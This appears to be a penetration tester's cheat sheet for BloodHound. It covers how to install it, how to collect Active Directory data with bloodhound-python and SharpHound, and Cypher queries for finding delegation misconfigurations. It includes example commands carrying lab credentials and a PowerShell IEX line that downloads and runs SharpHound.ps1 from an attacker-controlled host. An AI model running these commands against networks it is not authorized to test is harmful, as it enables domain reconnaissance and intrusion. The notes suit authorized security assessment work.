BloodHound
1. Installation and Starting Up Neo4j and BloodHound
To install BloodHound and Neo4j follow instructions here --> https://bloodhound.readthedocs.io/en/latest/installation/linux.html
Then to use it:
neo4j console
navigate to http://localhost:7474
conect with neo4j as user and password and change password
Once changed the password and with neo4j running:
bloodhound
2. Data Collection
Remotely:
https://github.com/fox-it/BloodHound.py
First add IP and domain name to the /etc/hosts and nameserver {Domain Controller IP}
to the /etc/resolve.conf
bloodhound-python -u {user} -p {password} -dc {HOST} --disable-autogc -d {Domain}
bloodhound-python -d lab.local -u rsmith -p Winter2017 -gc LAB2008DC01.lab.local -c all
bloodhound-python -u support -p '#00^BlackKnight' -d blackfield.local -ns 10.10.10.192 -c DcOnly
With a Shell:
AzureHound for Azure Active Directory
SharpHound.exe or SharpHound.ps1 for Local Active Directory
https://github.com/BloodHoundAD/BloodHound/tree/master/Collectors
https://github.com/puckiestyle/powershell/blob/master/SharpHound.ps1
IEX(New-Object Net.WebClient).downloadString('http://{My_IP}:{PORT}/SharpHound.ps1')
Invoke-BloodHound -CollectorMethod All
Invoke-BloodHound -CollectionMethod All,GPOLocalGroup
Invoke-BloodHound -CollectionMethod LoggedOn
.\SharpHound.exe -c all,GPOLocalGroup
(all collection doesn't include GPOLocalGroup by default)
3. Custom Queries
Bloodhound-Custom-Queries from @hausec https://github.com/hausec/Bloodhound-Custom-Queries/blob/master/customqueries.json
Certipy BloodHound Custom Queries from ly4k https://github.com/ly4k/Certipy/blob/main/customqueries.json
Cheatsheet with queries: https://hausec.com/2019/09/09/bloodhound-cypher-cheatsheet/
Replace the customqueries.json file located
at /home/username/.config/bloodhound/customqueries.json or C:\Users\USERNAME\
AppData\Roaming\BloodHound\customqueries.json.
To identify all computers that are permitted for unconstrained delegation:
MATCH (c:Computer {unconstraineddelegation:true}) RETURN c
To identify all computers and users configured for constrained delegation:
MATCH p = (a)-[:AllowedToDelegate]->(c:Computer) RETURN p
Last updated